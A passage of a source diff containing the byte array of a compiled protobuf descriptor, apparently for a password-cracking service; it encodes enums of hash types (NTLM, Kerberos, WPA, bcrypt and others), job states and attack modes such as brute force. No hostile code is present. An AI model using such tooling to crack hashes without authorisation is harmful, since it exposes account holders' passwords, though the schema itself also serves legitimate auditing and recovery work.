0x12, + 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, + 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, + 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, + 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, + 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, + 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, + 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, + 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, + 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, + 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, + 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, + 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, + 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, + 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, + 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, + 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, + 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, + 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, + 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, + 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, + 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, + 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, + 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, + 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, + 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, + 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, + 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, + 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, + 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, + 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, + 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, + 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, + 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, + 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, + 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, + 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, + 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, + 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, + 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, + 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, + 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, + 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, + 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, + 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, + 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, + 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, + 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, + 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, + 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, + 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, + 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, + 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, + 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, + 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, + 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, + 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, + 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, + 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, + 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, + 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, + 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, + 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, + 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, + 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, + 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, + 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, + 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, + 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, - 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, + 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, - 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, - 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, - 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, - 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, - 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, - 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, - 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, - 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, - 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, - 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, - 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, - 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, - 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, - 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, - 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, - 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, - 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, - 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, - 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, - 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, - 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, - 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, - 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, - 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, - 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, - 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, - 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, - 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, - 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, - 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, - 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, - 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, - 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, - 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, - 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, - 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, - 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, - 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, - 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, - 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, - 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, - 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, - 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, - 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, - 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, - 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, - 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, - 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, - 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, - 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, - 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, - 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, - 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, - 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, - 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, - 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, - 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, - 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, - 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, - 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, - 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, - 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, - 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, - 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, - 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, - 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, - 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, - 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, - 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, - 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, - 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, - 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, - 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, - 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, - 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, - 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, - 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, - 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, - 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, - 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, - 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, - 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, - 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, - 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, - 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, - 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, - 